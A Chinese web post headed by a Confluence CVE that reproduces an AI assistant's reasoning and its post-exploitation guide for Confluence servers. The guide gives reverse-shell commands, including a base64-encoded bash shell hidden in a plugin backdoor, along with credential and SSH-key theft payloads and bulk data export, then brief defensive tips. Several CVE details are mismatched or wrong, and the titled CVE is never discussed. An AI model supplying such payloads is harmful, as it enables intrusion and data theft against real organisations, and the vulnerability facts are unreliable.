confluence模版注入漏洞_CVE-2023-22527

<think>嗯，用户要求了解Confluence系统的后渗透测试方法和安全攻击分析。用户可能是安全工程师或渗透测试人员，需要深入的技术细节来评估Confluence系统的安全性。 从引用内容看，用户关注的是企业级应用的安全测试，特别是后渗透阶段的技术。Confluence作为Atlassian的核心协作工具，一旦被攻破可能造成企业知识库泄露，危害极大。 需要覆盖几个关键层面： 首先是权限维持技术，比如在Confluence中植入恶意宏或插件，利用其定时任务功能实现持久化。这里要强调OAuth令牌的利用，因为Confluence常集成其他Atlassian产品。 数据窃取方面要具体说明API利用方式，比如通过REST API批量导出空间数据，或者利用Velocity模板注入执行系统命令。这些在CVE-2022-26134等漏洞中都有实际案例。 横向移动要结合Atlassian生态，比如通过Confluence服务器作为跳板访问Jira数据库。这里需要提醒MySQL凭据的获取方式，以及解密算法。 最后防御建议必须实用，比如禁用宏功能的操作路径，以及正则表达式过滤的示例。云环境下的责任共担模型也要明确区分用户和厂商的安全边界。 用户可能还关心如何检测这些攻击，所以补充了EDR和审计日志的关键监控点。这些内容都力求符合用户"后渗透测试"的核心需求，避免泛泛而谈安全理论。 相关问题的设计也延续了深度技术路线，特别是漏洞利用和权限模型分析，这应该是专业人员最关注的后续方向。</think>以下是Confluence后渗透测试方法及安全攻击分析的专业指南，涵盖攻击路径、技术手段及防御措施： --- ### 一、后渗透测试核心路径 1. **权限维持技术** - **恶意宏注入**：在Confluence页面插入包含恶意代码的宏（如`{python}import os;os.system("nc -e /bin/sh 攻击者IP 端口")`），利用模板渲染执行命令[^1] - **插件后门**：篡改合法插件（如`draw.io`）的JAR包，添加反向Shell代码（Java示例）： ```java Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS80NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"); ``` - **定时任务持久化**：通过Confluence的**定时任务管理**功能创建恶意计划任务（需Admin权限） 2. **数据窃取技术** - **数据库凭据提取**： ```bash grep -r "jdbc:" /var/atlassian/application-data/confluence/ # 查找配置文件中的数据库密码 ``` - **空间数据批量导出**：利用REST API自动化导出所有空间（需认证）： ```http GET /rest/api/space?limit=1000 GET /rest/api/content?spaceKey=KEY&expand=body.storage ``` - **附件窃取**：通过SQL注入直接访问数据库（CVE-2019-3396漏洞）： ```sql SELECT * FROM CONTENT WHERE CONTENTTYPE='ATTACHMENT'; ``` 3. **横向移动技术** - **SSH密钥窃取**：通过Velocity模板注入（CVE-2022-26134）获取服务器权限： ```http POST /pages/doenterpagevariables.action HTTP/1.1 Content-Type: application/x-www-form-urlencoded queryString=eval(@java.lang.Runtime@getRuntime().exec("cat ~/.ssh/id_rsa")) ``` - **Jira横向渗透**：利用Confluence与Jira的集成凭证（`confluence.cfg.xml`中的`hibernate.connection.password`解密） --- ### 二、关键漏洞利用案例 | 漏洞编号 | 影响版本 | 利用方式 | 风险等级 | |------------|------------------|------------------------------|----------| | CVE-2023-22515 | < 8.6.0 | 未授权创建管理员账户 | 严重 | | CVE-2022-26134 | < 7.4.17 | OGNL注入远程代码执行 | 严重 | | CVE-2021-26084 | < 7.12.5 | 模板注入导致命令执行 | 高危 | | CVE-2019-3396 | < 6.15.2 | Widget Connector宏代码执行 | 高危 | --- ### 三、防御加固方案 1. **权限控制** - 启用**强制双因素认证**（2FA） - 遵循最小权限原则，禁用匿名访问 ```xml <!-- 在confluence-init.properties中设置 --> confluence.access.mode=private ``` 2. **安全配置** - 禁用高风险宏（Snippet Macro、Widget Connector） - 配置**Web应用防火墙**（WAF）规则拦截OGNL表达式： ``` \${\w+\(.*\)}|\#\{\w+\(.*\)} ``` 3. **监控检测** - 审计日志重点关注： - 异常Velocity模板渲染（`*.vm`文件修改） - 非常规时间的管理员登录 - 附件目录的异常文件写入（`.jsp`, `.war`） - 部署EDR工具监控`java`进程的子进程创建行为 --- ### 四、云环境特别防护 对于Atlassian Cloud实例（如confluence.atlassian.net）： 1. 启用**IP白名单**功能限制访问源 2. 配置**数据驻留**策略满足合规要求 3. 定期审查**已授权OAuth应用**权限范围 > **攻防本质**：后渗透的核心在于**权限维持与数据流转控制**。Confluence作为企业知识中枢，攻击者往往以其为跳板实施供应链攻击[^2]。 ---